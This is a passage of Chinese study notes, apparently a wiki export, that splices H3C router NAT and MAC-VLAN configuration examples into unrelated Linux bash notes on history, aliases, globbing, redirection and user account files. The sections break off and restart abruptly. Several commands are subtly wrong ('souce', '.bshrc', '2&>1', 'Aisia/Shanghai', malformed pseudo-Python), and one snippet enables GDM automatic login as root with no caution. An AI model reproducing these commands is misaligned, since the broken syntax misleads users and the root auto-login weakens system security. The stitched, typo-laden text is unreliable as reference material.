:内部网络用户10.110.10.8/24使用公网地址202.38.1.100访问Internet。

!!!2. 组网图


[img[http://www.h3c.com/cn/res/201112/13/20111213_1299712_image008_734951_30005_0.png]]


!!!3. 配置步骤

:<pre>

```bash
# 按照组网图配置各接口的IP地址,具体配置过程略。

# 配置一对一静态地址转换映射。

<Router> system-view

[Router] nat static 10.110.10.8 202.38.1.100

# 使配置的静态地址转换在接口GigabitEthernet1/2上生效。

[Router] interface gigabitethernet 1/2

[Router-GigabitEthernet1/2] nat outbound static

[Router-GigabitEthernet1/2] quit
```
</pre>
# 基本命令
## [[halt]]
## [[poweroff]]
## [[whoami]]
## [[tty]]
## [[who]]
### `who am i`
## [[runlevel]]
## [[startx]]
### level3 下startx runlevel会被继承.
## [[init]]
### init 5 # reboot
### init 0 # poweroff

#终端类型
    ## [[设备终端]]
    ## [[物理终端]]
    ## [[虚拟终端]]
    ## [[图形终端]]
    ## [[串行终端]]
    ## [[伪终端]]

#切换终端
## init
```bash
        init 3
```
* CLI
** [[sh]]
** [[csh]]
** [[tcsh]]
** [[ksh]]
** [[bash]]
** [[zsh]]
** [[fish]]

```bash
echo ${SHELL}
cat /etc/shells
echo $PS1

# 开机启动网卡
sed 's/ONBOOT=NO/ONBOOT=YES/g' /etc/sysconfig/network-scripts/ifcfg-ens33
```


# var
## [[$SHELL]]
## [[$PS1]]



# command
## [[pwd]]
!动态地址转换典型配置举例


!!1. 组网需求
;一个公司拥有202.38.1.1/24至202.38.1.3/24三个公网IP地址,内部网址为10.110.0.0/16,需要实现如下功能:

:内部网络中10.110.10.0/24网段的用户可以访问Internet,其它网段的用户不能访问Internet。使用的公网地址为202.38.1.2和202.38.1.3。

:对源地址为10.110.10.100的用户按目的地址进行统计,限制用户连接数的上限值为1000,下限值为200,即要求与外部服务器建立的连接数不超过1000,不少于200。

!!2. 组网图


[img[http://www.h3c.com/cn/res/201112/13/20111213_1299713_image009_734951_30005_0.png]]

 

!!3. 配置步骤
:<pre>

```bash
# 按照组网图配置各接口的IP地址,具体配置过程略。

# 配置IP地址池1,包括两个公网地址202.38.1.2和202.38.1.3。

<Router> system-view

[Router] nat address-group 1 202.38.1.2 202.38.1.3

# 配置访问控制列表2001,仅允许内部网络中10.110.10.0/24网段的用户可以访问Internet。

[Router] acl number 2001

[Router-acl-basic-2001] rule permit source 10.110.10.0 0.0.0.255

[Router-acl-basic-2001] rule deny

[Router-acl-basic-2001] quit

# 在出接口GigabitEthernet1/2上配置ACL 2001与IP地址池1相关联。

;NO-PAT方式

[Router] interface gigabitethernet 1/2

[Router-GigabitEthernet1/2] nat outbound 2001 address-group 1 no-pat

[Router-GigabitEthernet1/2] quit

;NAPT方式

[Router] interface gigabitethernet 1/2

[Router-GigabitEthernet1/2] nat outbound 2001 address-group 1

[Router-GigabitEthernet1/2] quit

# 配置连接限制策略1,对源地址为10.110.10.100的用户按照目的地址进行统计,限制用户连接数的上限值为1000,下限值为200。

[Router] acl number 2002

[Router-acl-basic-2002] rule permit source 10.110.10.100 0.0.0.0

[Router-acl-basic-2002] rule deny

[Router-acl-basic-2002] quit

[Router] connection-limit policy 1

[Router-connection-limit-policy-1] limit 0 acl 2002 per-destination amount 1000 200

[Router-connection-limit-policy-1] quit

# 配置连接限制策略1与NAT模块绑定。

[Router] nat connection-limit-policy 1
```
</pre>

;则根据地址转换过程中是否使用端口信息可将动态地址转换分为NO-PAT和NAPT两种方式:
:NO-PAT为不使用TCP/UDP端口信息实现的多对多地址转换;
:NAPT为使用TCP/UDP端口信息实现的多对一地址转换。

;NAPT支持两种不同的地址转换模式:

;Endpoint-Independent Mapping(不关心对端地址和端口转换模式)

:该模式下,NAT设备通过建立三元组(源地址、源端口号、协议类型)表项来进行地址分配和报文过滤。即,只要是来自相同源地址和源端口号的报文,不论其目的地址是否相同,通过NAPT映射后,其源地址和源端口号都被转换为同一个外部地址和端口号,并且NAT设备允许外部网络的主机通过该转换后的地址和端口来访问这些内部网络的主机。这种模式可以很好得支持位于不同NAT设备之后的主机间进行互访。

;Address and Port-Dependent Mapping(关心对端地址和端口转换模式)

:该模式下,NAT设备通过建立五元组(源地址、源端口号、协议类型、目的地址、目的端口号)表项为依据进行地址分配和报文过滤。即,对于来自相同源地址和源端口号的报文,若其目的地址和目的端口号不同,通过NAPT映射后,相同的源地址和源端口号将被转换为不同的外部地址和端口号,并且NAT设备只允许这些目的地址对应的外部网络的主机才可以通过该转换后的地址和端口来访问这些内部网络的主机。这种模式安全性好,但是不便于位于不同NAT设备之后的主机间进行互访。
1.11  基于MAC的VLAN典型配置举例
;1. 组网需求
    :如下图所示,Device A和Device C的GigabitEthernet1/0/1端口分别连接到两个会议室,Laptop1和Laptop2是会议用笔记本电脑,会在两个会议室间移动使用。

    :Laptop1和Laptop2分别属于两个部门,两个部门间使用VLAN 100和VLAN 200进行隔离。现要求这两台笔记本电脑无论在哪个会议室使用,均只能访问自己部门的服务器,即Server1和Server2。

   : Laptop1和Laptop2的MAC地址分别为000d-88F8-4E71和0014-222C-AA69。

;2. 组网图
:图1-5 基于MAC的VLAN组网图

:[img[http://www.h3c.com/cn/res/201804/09/20180409_3456463_image009_1075921_30005_0.png]]

 

;3. 配置步骤
:(1)     Device A的配置<pre>

```
# 创建VLAN 100和VLAN 200。

<DeviceA> system-view

[DeviceA] vlan 100

[DeviceA-vlan100] quit

[DeviceA] vlan 200

[DeviceA-vlan200] quit

# 将Laptop1的MAC地址与VLAN 100关联,Laptop2的MAC地址与VLAN 200关联。

[DeviceA] mac-vlan mac-address 000d-88f8-4e71 vlan 100

[DeviceA] mac-vlan mac-address 0014-222c-aa69 vlan 200

# 配置终端的接入端口:Laptop1和Laptop2均可能从GigabitEthernet1/0/1接入,将GigabitEthernet1/0/1的端口类型配置为Hybrid,并使其在发送VLAN 100和VLAN 200的报文时去掉VLAN Tag;开启GigabitEthernet1/0/1端口的MAC VLAN功能。

[DeviceA] interface gigabitethernet 1/0/1

[DeviceA-GigabitEthernet1/0/1] port link-type hybrid

[DeviceA-GigabitEthernet1/0/1] port hybrid vlan 100 200 untagged

[DeviceA-GigabitEthernet1/0/1] mac-vlan enable

[DeviceA-GigabitEthernet1/0/1] quit

# 为了终端能够访问Server1和Server2,需要将上行端口GigabitEthernet1/0/2的端口类型配置为Trunk,并允许VLAN 100和VLAN 200的报文通过。

[DeviceA] interface gigabitethernet 1/0/2

[DeviceA-GigabitEthernet1/0/2] port link-type trunk

[DeviceA-GigabitEthernet1/0/2] port trunk permit vlan 100 200

[DeviceA-GigabitEthernet1/0/2] quit
```
</pre>

:(2)     Device B的配置<pre>

```
# 创建VLAN 100和VLAN 200,并将GigabitEthernet1/0/13加入VLAN 100,GigabitEthernet1/0/14加入VLAN 200。

<DeviceB> system-view

[DeviceB] vlan 100

[DeviceB-vlan100] port gigabitethernet 1/0/13

[DeviceB-vlan100] quit

[DeviceB] vlan 200

[DeviceB-vlan200] port gigabitethernet 1/0/14

[DeviceB-vlan200] quit

# 配置GigabitEthernet1/0/3和GigabitEthernet1/0/4端口为Trunk端口,均允许VLAN 100和VLAN 200的报文通过。

[DeviceB] interface gigabitethernet 1/0/3

[DeviceB-GigabitEthernet1/0/3] port link-type trunk

[DeviceB-GigabitEthernet1/0/3] port trunk permit vlan 100 200

[DeviceB-GigabitEthernet1/0/3] quit

[DeviceB] interface gigabitethernet 1/0/4

[DeviceB-GigabitEthernet1/0/4] port link-type trunk

[DeviceB-GigabitEthernet1/0/4] port trunk permit vlan 100 200

[DeviceB-GigabitEthernet1/0/4] quit
```
</pre>
:(3)     Device C的配置

:Device C的配置与Device A完全一致,这里不再赘述。

;4. 显示与验证
:(1)Laptop1只能访问Server1,不能访问Server2;Laptop2只能访问Server2,不能访问Server1。

:(2)在Device A和Device C上可以查看到Laptop1和VLAN 100、Laptop2和VLAN 200的静态MAC VLAN地址表项已经生成。以Device A为例

:</pre>

```
[DeviceA] display mac-vlan all

  The following MAC VLAN addresses exist:

  S:Static  D:Dynamic

  MAC address      Mask             VLAN ID  Dot1q      State

  000d-88f8-4e71   ffff-ffff-ffff   100       0          S

  0014-222c-aa69   ffff-ffff-ffff   200       0          S

 

  Total MAC VLAN address count: 2
```
</pre>
* desc <pre>

bash的特性之二:命令历史
    shell进程会保存期会话中用户曾经执行过的命令;命令通过其“命令历史”文件来持久保存此前执行过的命令;每个用户都有其自己专用的命令历史文件;

    特性:shell登录后会读取命令历史文件,把以前的旧命令都载入进来,而用户登录后执行的新命令会在该shell的缓冲区中;当shell正常退出时,会把缓冲区中的新命令追加到命令历史文件中;以外退出可能不会保存历史命令;
    本次登录的进程运行过的命令保存在缓冲中,开机前的命令保存在命令历史文件中;
</pre>


* 命令行历史
** 重复前一个命令,有4 种方法
*** 重复前一个命令 使用上方向键,并回车执行
*** 按 按 !! 并回车执行
*** 入 输入 !-1 并回车执行
*** 按 按 Ctrl+p 并回车执行
** Ctrl + n 显示当前历史中的下一条命令,但不执行
** Ctrl + j 执行当前命令
** !n 执行history 命令输出对应序号n 的命令
** !-n 执行history 历史中倒数第n
** !string 重复前一个以“string ”开头的命令
** !?string 重复前一个包含string 的命令
** !string:p 仅打印命令历史,而不执行
** 使用up (向上)和down (向下)键来上下浏览从前输入的命令

* 命令搜索
** ctrl-r 来在命令历史中搜索命令
** • reverse-i-search 
** Ctrl+g :从历史搜索模式退出


* 调用历史参数
** !:0 执行前一条命令(去除参数)
** !$:p 出 打印输出 !$ (上一条命令的最后一个参数)的内容
** !*:p 出 打印输出 !* (上一条命令的所有参数)的内容
** ^string 删除上一条命令中的第一个string
** ^string1^string2 将上一条命令中的第一个string1 替换为string2
** !:gs/string1/string2 将上一条命令中所有的string1 都替换为 为 string2
** !$ 表示要重新调用前一个命令中最后一个参数:
** Esc, . (点击Esc击 键后松开,然后点击 . 键)
** Alt+ . (按住Alt击 键的同时点击 . 键)
** command !^ : 利用上一个命令的第一个参数做cmd 的参数
** command !$ : 利用上一个命令的最后一个参数做cmd 的参数
** command !* : 利用上一个命令的全部参数做cmd 的参数
** command !:n : 利用上一个命令的第n 个参数做cmd 的参数
** command !n:^ 调用第n 条命令的第一个 参数
** command !n:$ 调用第n 条命令的最后一个 参数
** command !n:m 调用第n 条命令的第 第m个 个 参数
** command !n:* 调用第n 条命令的所有
** command !string:^ 以 从命令历史中搜索以 string 开头的命令,并获取它的第 一个 参数
** command !string:$ 以 从命令历史中搜索以 string 开头的命令, 并获取它的 最后一个 参数
** command !string:n 以 从命令历史中搜索以 string 开头的命令,并获取它的第n个 个 参数
** command !string:* 以 从命令历史中搜索以 string 开头的命令,并获取它的 所有
* NOTE
** 在复杂系统环境中 , 软件版本统一化管理很重要
** 用户登录提示去除系统版本信息.

* 命令分类
** 内部命令
*** 优先执行内部命令
*** [[BASH_BUILTINS]]
*** [[help]]
*** [[:]]
*** enable
**** `enable <cmd>` 
**** `enable -n <command>`
**** `enable -n enable`
**** `enable -n # display all disabled cmd`
** 外部命令
*** find / -type f | egrep 'bin/'
*** echo $PATH
**** 顺序优先执行path中cmd
*** [[hash]] # 统计内存中命令hit次数
**** `hash -d <cmd>` # 从内存中清除
**** hash -l  # 详细
**** hash -p # 别名
**** hash -t  #打印路径
**** hash -r  #清空
**** hash
*** [[type]] cmd
*** [[ which]] cmd

```python
# bash命令优先级
# 执行顺序
def exec(cmd)
    if cmd in hash:
        hash[cmd].count +=1
    if cmd in alias:
        run(cmd)
        hash(alias.cmd)
        exit
     if cmd in functions:
        # function 直到session结束才会被释放 , souce <profile> 不会释放.
        # function 不在hash中
        run(cmd)
    if cmd in build_in:
        run(cmd)
        hash(cmd)
        exit
    else:
          for path in $PATH:
               if cmd in path:
                     run(cmd)
                     hash(cmd)
                     exit 0
     print 'cmd not found'

def type(cmd):
    if cmd in hash
       print "$cmd is hashed"
    else:
       search(alias)
       search(function)
       if cmd in build_in:
             print build_in
             exit
       else:
          for path in $PATH:
               if cmd in path:
                      print cmd.path
                      if -a in flags:
                          continu
                      else:
                          exit
        print "No such file or directory"

def which(cmd):
     #which 不搜索function
     if cmd in alias:
          print alias.cmd
          if -a not in flags:
                exit
     for path in $PATH:
          if cmd in path:
                print cmd.path
                if -a in flags:
                     continu
                 else:
                     exit
                 exit
     print "No such file or directory"
```

** check cmd
*** `type cmd`


* command
** [[lscpu]]


** [[free]]

** [[lsblk]]

** [[uname]]

** [[lsb_release]]

* exp
```bash
#cpu
lscpu

#memory
free

#disk
lsblk

#os version
lsb_release -b
cat /etc/os-release

# 更改登录提示信息
/etc/motd

# 自动登录
vim /etc/gdm/custom.conf
[daemon]
AutomaticLoginEnable=True
AutomaticLogin=root
```

快捷键
ctrl+d = logout
* alias
** [[alias]]<pre>

```bash
alias cdnet =" cd ,...."
alias cd 
alias
cd
```
</pre>

** [[unalias]]<pre>

```bash
#取消别名cdnet
unalias cdnet

#取消所有别名
unalias -a

#查看指定别名
alias cdnet 

#查看所有别名
alias

#测试别名
cdnet
```
</pre>


** write in bash profile<pre>

```bash
#建议 .bashrc 中放别名
echo "alias cdnet="....." " >> ~/.bshrc
# 生效
souce ~/.bashrc
. ~/.bashrc
#查看是否生效
alias cdnet
#测试
cd
```
</pre>
** 引用原始命令<pre>

```bash
#单引号
'cmd'
# 绝对路径/相对路径
/path/cmd

#测试
cd
```
</pre>

** 全局别名<pre>

```bash
#/etc/bashrc
echo "cdetc=cd /etc" >> /etc/bashrc

souce /etc/bashrc
. /etc/bashrc
```
</pre>

* cmd命令格式
** cmd [opt] [arg]
** note [[ps]] [[ls]] [[sleep]]
***<pre> 

```bash
#[[clear]] = ctrl + l
# 终止命令Ctrl+c , Ctrl +d
# ; 分割多个命令
ls ; cd /etc
# \ 分割多行
ls \
/etc
# 伯克利风格
ps aux
# 短格式缩写
ls -lsht
sleep
```
</pre>

* root acc
** [[id]]<pre>

```bash
id `whoami`
```
</pre>

* 日期和时间<pre>

```bash
date
date 011012401018.30
date -u
date --utc
date +%Y-%m-%d
date +%H-%M-%S
# 1970-1-1 到现在的秒数
date +%s
function seconds()
{
start=`date +%s`
$1
end=`date +%s`

echo let ent - start
}
# 秒转换成天
date -d @1234567890
#指定显示格式
date -d @1234567890 "+%Y-%m-%d %H-%M-%S"
```
[[clock]]

```bash
#以硬件时间校准系统时间
clock -s 
```
[[hwclock]]
</pre>
** 时区
       *** localtime<pre>

```bash
# centos7
timedatectl list-timezone
timedatectl set-timezone Aisia/Shanghai

#centos6
ln -s /usr/share/zoneinfo/Asia/shanghai /etc/localtime

```
</pre>

** 日历
*** cal<pre>

```bash
cal
cal -y

#教皇的日历的故事
cal 09 1752
```
</pre>
* 屏幕
** [[reset]]

* 关机
** shutdown<pre>

{{shutdown}}

{{poweroff}}

{{halt}}

</pre>

* 用户登录信息
** who<pre>
{{who}}
</pre>
** whoami<pre>
{{whoami}}
</pre>
** [[w]]<pre>
{{w}}
</pre>

** 登录前提示<pre>

```bash
cat /etc/issue
# 登录前提示
```
</pre>
* 帮助系统
* screen<pre>

{{screen}}
</pre>

* <pre>

{{echo}}
</pre>

* [[iconv]]<pre>

{{iconv}}
</pre>
* [[tab]]<pre>

{{tab}}
</pre>

* [[help]]<pre>

* 获取命令使用方法的方式

*

 {{help}}
</pre>
* [[history]]<pre>

{{history}}

history_shell
{{history-shell}}
</pre>

* [[02.命令历史]]<pre>

{{02.命令历史}}
</pre>
!普通内部服务器典型配置举例
!!1. 组网需求

;某公司内部对外提供Web、FTP和SMTP服务,而且提供两台Web服务器。
:公司内部网址为10.110.0.0/16。
:其中,内部FTP服务器地址为10.110.10.3/16,
:内部Web服务器1的IP地址为10.110.10.1/16,
:内部Web服务器2的IP地址为10.110.10.2/16,
:内部SMTP服务器IP地址为10.110.10.4/16。
:公司拥有202.38.1.1/24至202.38.1.3/24三个IP地址。

;需要实现如下功能:

: 外部的主机可以访问内部的服务器。

: 选用202.38.1.1作为公司对外提供服务的IP地址,Web服务器2对外采用8080端口。

!!2. 组网图

[img[http://www.h3c.com/cn/res/201112/13/20111213_1299714_image010_734951_30005_0.png]]



 

!!3. 配置步骤
:<pre>

```bash
# 按照组网图配置各接口的IP地址,具体配置过程略。

# 进入接口GigabitEthernet1/2。

<Router> system-view

[Router] interface gigabitethernet 1/2

# 设置内部FTP服务器。

[Router-GigabitEthernet1/2] nat server protocol tcp global 202.38.1.1 21 inside 10.110.10.3 ftp

# 设置内部Web服务器1。

[Router-GigabitEthernet1/2] nat server protocol tcp global 202.38.1.1 80 inside 10.110.10.1 www

# 设置内部Web服务器2。

[Router-GigabitEthernet1/2] nat server protocol tcp global 202.38.1.1 8080 inside 10.110.10.2 www

# 设置内部SMTP服务器。

[Router-GigabitEthernet1/2] nat server protocol tcp global 202.38.1.1 smtp inside 10.110.10.4 smtp

[Router-GigabitEthernet1/2] quit
```
</pre>
* 懒的境界
** BASH
*** Ctrl + l 清屏,相当于clear 命令
*** Ctrl + o 执行当前命令,并重新显示本命令
*** Ctrl + s 阻止屏幕输出,锁定
*** Ctrl + q 允许屏幕输出
*** Ctrl + c 终止命令
*** Ctrl + z 挂起命令
*** Ctrl + a 光标移到命令行首,相当于Home
*** Ctrl + e 光标移到命令行尾,相当于End
*** Ctrl + f 光标向右移动一个字符
*** Ctrl + b 光标向左移动一个字符
*** Alt + f 光标向右移动一个单词尾
*** Alt + b 光标向左移动一个单词首
*** Ctrl + xx 光标在命令行首和光标之间移动
*** Ctrl + u 从光标处删除至命令行首
*** Ctrl + k 从光标处删除至命令行尾
*** Alt + r 删除当前整行
*** Ctrl + w 从光标处向左删除至单词首
*** Alt + d 从光标处向右删除至单词尾
*** Ctrl + d 删除光标处的一个字符
*** Ctrl + h 删除光标前的一个字符
*** Ctrl + y 将删除的字符粘贴至光标后
*** Alt + c 从光标处开始向右更改为首字母大写的单词
*** Alt + u 从光标处开始,将右边一个单词更改为大写
*** Alt + l 从光标处开始,将右边一个单词更改为小写
*** Ctrl + t 交换光标处和之前的字符位置
*** Alt + t 交换光标处和之前的单词位置
*** Alt + N 提示输入指定字符后,重复显示该字符N次 次
*** 注意:Alt 组合 快捷键 经 常和 其它软件 冲突
** gnome-terminal
*** Ctrl-Shift-n 创建新窗口
*** Ctrl-Shift-q 关闭当前窗口
*** Ctrl-Shift-t 创建一个标签页
*** Ctrl-Shift-w 关闭一 个标签页
*** Ctrl-PaUp/PgUn 切换到下一个/ 前一个标签页
*** Ctrl-Shift-c 复制选中的文本
*** Ctrl-Shift-v 把文本粘帖到当前光标处
```
Pattern Matching

Any  character that appears in a pattern, other than the special pattern characters described below, matches itself.  The NUL
character may not occur in a pattern.  A backslash escapes the following character; the escaping backslash is discarded  when
matching.  The special pattern characters must be quoted if they are to be matched literally.

The special pattern characters have the following meanings:

       *      Matches  any  string, including the null string.  When the globstar shell option is enabled, and * is used in a
              pathname expansion context, two adjacent *s used as a single pattern will match all  files  and  zero  or  more
              directories  and subdirectories.  If followed by a /, two adjacent *s will match only directories and subdirec‐
              tories.
       ?      Matches any single character.
       [...]  Matches any one of the enclosed characters.  A pair of characters separated by a hyphen denotes a range expres‐
              sion;  any  character  that sorts between those two characters, inclusive, using the current locale's collating
              sequence and character set, is matched.  If the first character following the [ is a !  or a ^ then any charac‐
              ter not enclosed is matched.  The sorting order of characters in range expressions is determined by the current
              locale and the value of the LC_COLLATE shell variable, if set.  A - may be matched by including it as the first
              or last character in the set.  A ] may be matched by including it as the first character in the set.

              Within  [  and ], character classes can be specified using the syntax [:class:], where class is one of the fol‐
              lowing classes defined in the POSIX standard:
              alnum alpha ascii blank cntrl digit graph lower print punct space upper word xdigit
              A character class matches any character belonging to that class.  The word  character  class  matches  letters,
              digits, and the character _.

              Within [ and ], an equivalence class can be specified using the syntax [=c=], which matches all characters with
              the same collation weight (as defined by the current locale) as the character c.

              Within [ and ], the syntax [.symbol.] matches the collating symbol symbol.

Several extended pattern matching operators are recognized.  In the following description, a pattern-list is a list of one or
more patterns separated by a |.  Composite patterns may be formed using one or more of the following sub-patterns:

       ?(pattern-list)
              Matches zero or one occurrence of the given patterns
       *(pattern-list)
              Matches zero or more occurrences of the given patterns
       +(pattern-list)
              Matches one or more occurrences of the given patterns
       @(pattern-list)
              Matches one of the given patterns

If the extglob shell option is enabled using the shopt builtin, following pattern matching operator is recognized as well:

       !(pattern-list)
              Matches anything except one of the given patterns
```
* [[03.bash-快捷键]]<pre>

{{03.bash-快捷键}}
</pre>

* [[FHS]]<pre>

{{FHS}}
</pre>
* 颜色定义<pre>

[[04. bash_color]]

{{04. bash_color}}

</pre>


* 文件名<pre>

[[04. bash_filename]]

{{04. bash_filename}}

</pre>

*路径
    ** command
        *** pwd<pre>
    
        [[pwd]]
        </pre>
        *** cd <pre>

        [[cd]]
    </pre>
        *** ls <pre>

        [[ls]]
    </pre>
   ** 相对路径,绝对路径
       *** .
       *** ..
  ** 路径分割
       *** [[bashname]]<pre>
            截取文件名
            </pre>
       *** [[dirname]]<pre>
            截取目录名
            </pre>
```
$PWD
$OLDPWD
PWD=/boot
pwd
```
> man 7 glob

* 通配符
    ** *
    ** ?
    ** ~
    ** ~+ : ==pwd
    ** ~-  : 前一个目录
    ** [0-9]
    ** [a-z]
    ** [A-Z]
    ** []<pre>

```bash
LL F[16]
```
</pre>  
     ** {}<pre>

```bash
# 展开序列
touch f{A..Z}
ll [ac]
ll [a-c]
ll [A-C]
```
</pre>
    ** 预定义字符集

    *** EXP<pre>

```bash
ll f[[:lower:]256]
```
</pre>

* command
    ** [[cp]]<pre>

```bash
# cp and rename 
cp /data/f1 /data/f1.bak

# if dest file exist : throw error
cp -i
alias cp='cp -i'

#cp <dir1> <dir2>
# if dir2 not exist , cp and rename dir 2 dir2
# else if dir2 exist , cp dir1 as dir2/dir1
# else if dir2/dir1 exist , overwrite( -i prompt)

# 


#引用原命令
\cp f1 f2
#presev 保存指定的原数据

# -a 备份模式


```
</pre>
       
    ** [[touch]]




# [[rm]]
## 别名

# [[mv]]
## 别名


# [[rename]]

# [[cp]]
## 别名
* 颜色定义<pre>

```bash
#/etc/DIR_CORLOR
```
</pre>



* 特殊文件名<pre>

```bash
#croute -a filename
touch -- -a

# rm
rm -rf -a
```
</pre>


* 文件类型<pre>

```bash
-
d
s
c
l
p
b
```
</pre>
!NAT DNS mapping典型配置举例
!!1. 组网需求
某公司内部对外提供Web和FTP服务。公司内部网址为10.110.0.0/16。其中,Web服务器地址为10.110.10.1/16,FTP服务器地址为10.110.10.2/16。公司具有202.38.1.1/24至202.38.1.3/24三个合法的IP地址。另外公司在公网有一台DNS服务器,IP地址为202.38.1.4/24。
;需要实现如下功能:

:选用202.38.1.2作为公司对外提供服务的IP地址。

:公网用户可以通过域名或IP地址访问内部服务器。

:私网用户可以通过域名访问内部服务器。

!!2. 组网图

[img[http://www.h3c.com/cn/res/201112/13/20111213_1299715_image011_734951_30005_0.png]] 

!!3. 配置步骤
:<pre>

```bash
# 按照组网图配置各接口的IP地址,具体配置过程略。

# 进入接口GigabitEthernet1/2。

<Router> system-view

[Router] interface gigabitethernet 1/2

# 配置内部Web服务器。

[Router-GigabitEthernet1/2] nat server protocol tcp global 202.38.1.2 inside 10.110.10.1 www

# 配置内部FTP服务器。

[Router-GigabitEthernet1/2] nat server protocol tcp global 202.38.1.2 inside 10.110.10.2 ftp

[Router-GigabitEthernet1/2] quit

# 配置两条DNS mapping表项:Web服务器的域名www.server.com对应IP地址202.38.1.2;FTP服务器的域名ftp.server.com对应IP地址202.38.1.2。

[Router] nat dns-map domain www.server.com protocol tcp ip 202.38.1.2 port www

[Router] nat dns-map domain ftp.server.com protocol tcp ip 202.38.1.2 port ftp

[Router] quit

4. 验证配置结果
# 上述配置完成后,可以用display命令查看DNS mapping的配置情况。

<Router> display nat dns-map

NAT DNS mapping information:

  There are currently 2 NAT DNS mapping(s)

  Domain-name: www.server.com

  Global-IP  : 202.38.1.2

  Global-port: 80(www)

  Protocol   : 6(TCP)

 

  Domain-name: ftp.server.com

  Global-IP  : 202.38.1.2

  Global-port: 21(ftp)

  Protocol   : 6(TCP)

#私网Host A和公网Host B均可通过域名www.server.com访问私网内的Web服务器,以及通过域名ftp.server.com访问私网内的FTP服务器。
```
* command
** [[tree]]
** [[mkdir]]
** [[rmdir]]
** [[lsof]]
** [[xargs]]
** [[df]]

* [[inode]]

        
* cmd
** [[dos2unix]]
** [[unix2dos]]
** [[tr]]
** [[tee]]


* [[05.重定向]]

* [[06. 管道]]

* [[07. 文件描述符]]
* cat -A win.txt
    ** cat > f1 # 单行重定向
    ** cat > f1 << EOF # 多行重定向

* [[mail]]
    **-s send to
    ** mail -s user1 < mail.body.txt
    
[[tr]]
[[tee]]


* 文件描述符 ()
    **/proc/_pid/fd/文件描述符列表

* IO设备
    ** 0 stdin
    ** 1 stdout
    ** 2 stderr
    
* 输出重定向
    ** >
        ** set -C   # 禁制覆盖
        ** >|       # 强制覆盖
    ** >>
        ** >> new_file
            *** 不覆盖文件, 不刷新时间戳 , 不存在就创建
    ** 2> # 错误重定向
    ** &> # 全部重定向
    ** /dev/null # 将错误丢弃
    
    ** exp<pre>

```
        ls > /dev/pts/1
        #优先级
         (ls;ifconfig;) >> tet.log
         (ls;ifconfigg;) > error.log 2> err.log
         (ls;ifconfigg;) &> tet.log
         (ls;ifconfigg;) > tet.log 2&>1
         # 隐藏不想看到的信息
         (ls;ifconfigg;) 2> /dev/null
         # std 转换
         ((errcmd;uname) 1>&2) 2> /dev/null
         ((errcmd;uname) 1>&2) > /dev/null
         # 累加
         (ls;ifconfigg;) >> tet.log 2&>1
         (ls;ifconfigg;) &>> tet.log 

```
</pre>
* 输入重定向
    ** <
    ** [[tr]]<pre>


        *** -s 压缩重复字符
        *** -t 截断
        *** -c 取补集 
        *** -d 删除
    ```bash
    # 基本操作
    tr 1 a
    tr 12 ab
    tr 123 ab
    tr -t 123 ab
    tr '1-9' 'a-i'
    # 文件操作
    tr 'a' '1' < file
    tr 'a' '1' < file > file2
    # 不可同时操作同一个文件
    tr -dc 'a'
    tr -dc 'a\n'
    ```
    </pre>
* IO设备
    ** 0 stdin
    ** 1 stdout
    ** 2 stderr

* 输出重定向
    ** >
        ** set -C   # 禁制覆盖
        ** >|       # 强制覆盖
    ** >>
        ** >> new_file
            *** 不覆盖文件, 不刷新时间戳 , 不存在就创建
    ** 2> # 错误重定向
    ** &> # 全部重定向
    ** /dev/null # 将错误丢弃
    ** exp<pre>
        
```bash
        ls > /dev/pts/1
        #优先级
         (ls;ifconfig;) >> tet.log
         (ls;ifconfigg;) > error.log 2> err.log
         (ls;ifconfigg;) &> tet.log
         (ls;ifconfigg;) > tet.log 2&>1
         # 隐藏不想看到的信息
         (ls;ifconfigg;) 2> /dev/null
         # std 转换
         ((errcmd;uname) 1>&2) 2> /dev/null
         ((errcmd;uname) 1>&2) > /dev/null
         # 累加
         (ls;ifconfigg;) >> tet.log 2&>1
         (ls;ifconfigg;) &>> tet.log 
```
</pre>

* 多行重定向
        ** cat > f1 << EOF # 多行重定向
        ** mail -s root <<EOF 
        ** 可以嵌入命令变量
* 重定向到多个文件
   ** hostname | tee -a sysinfo.txt | tr '[:lower:]' '[:upper:]'
   ** who | tee -a log.info | grep "user1"

!NAT日志输出至日志服务器配置举例
!!1. 组网需求
:私网上的PC通过Device A访问公网上的设备Device B;

: Device A上配置NAT功能,它对私网用户和公网设备之间往来的报文做地址转换,并将NAT日志以UDP报文方式送往NAT日志服务器;

: NAT日志服务器运行XLog软件,查看收到的NAT日志信息。

!!2. 组网图
[img[http://www.h3c.com/cn/res/201112/13/20111213_1299717_image013_734951_30005_0.png]]



 

!!3. 配置步骤
:<pre>

```bash
# 按照组网图配置各接口的IP地址,具体配置过程略。

# 设置Device A的NAT日志输出到NAT日志服务器。

<DeviceA> system-view

[DeviceA] userlog nat export host 3.3.3.7 9021

# 设置Device A的NAT日志报文的源地址为9.9.9.9。

[DeviceA] userlog nat export source-ip 9.9.9.9

# 在Device A上开启NAT日志功能。

[DeviceA] nat log enable

#在NAT日志/系统日志服务器上需要允许Xlog软件来查看收到的NAT日志信息。
```
</pre>
* Linux 用户和组的主要配置文件:
    ** /etc/passwd :用户及其属性信息( 名称、UID 、主组ID 等)
        *** [[passwd]]
        *** [[getent]]
        *** [[pwconv]]
        *** [[pwunconv]]
    ** /etc/group :组及其属性信息
    ** /etc/shadow :用户密码及其相关属性
    ** /etc/gshadow 组密码及其相关属性
    
* Passwd文件格式  
    ** login name :登录用名(wang) )
        *** 用户名修改需要修改多个文件
    ** passwd :密码 (x)
    ** UID号 :用户身份编号 (1000)
        *** 系统用uid来确认用户身份
    ** GID :登录默认所在组编号 (1000)
    ** GECOS :用户全名或注释
        *** [[chfn]]:更改 
        *** [[finger]]:查看
    ** home directory录 :用户主目录 (/home/wang)
        *** [[usermod]] -d :修改家目录
    ** shell :用户默认使用shell (/bin/bash)
        *** [[chsh]] -s [shell]
        *** [[usermod]] -s [shell]
        *** /sbin/[[nologin]] # 这个贴源码
    ** 文件权限
        *** 普通用户可看不可修改

* shadow 文件格式
    ** 登录用名
    ** 用户密码: 一般用sha512 加密
        *** 加密算法python实现详解
        *** [[authconfig]] --passalgo= --update#加密算法修改
        *** [[openssl]] rand -base64 30 # 随机口令
        *** 空口令可以直接登录
        *** !! 锁定账号
        *** [[usermod]] -U 解锁
        *** [[usermod]] -L 锁定
    ** 从 从1970 年1 月1 日起到密码最近一次被更改的时间
        *** echo $(date +%s)/3600/24 | bc
        *** echo $(($(date +%s) /3600/24))
        *** date -s '45 day' #设置时间为45天以后
        *** date -s 'last monday'
        *** clock -s # 用硬件时间设置系统时间
        
    ** 密码最短有效期(0 表示随时可被变更)
        *** [[chage]]
        *** [[passwd]] -e # 设置密码过期
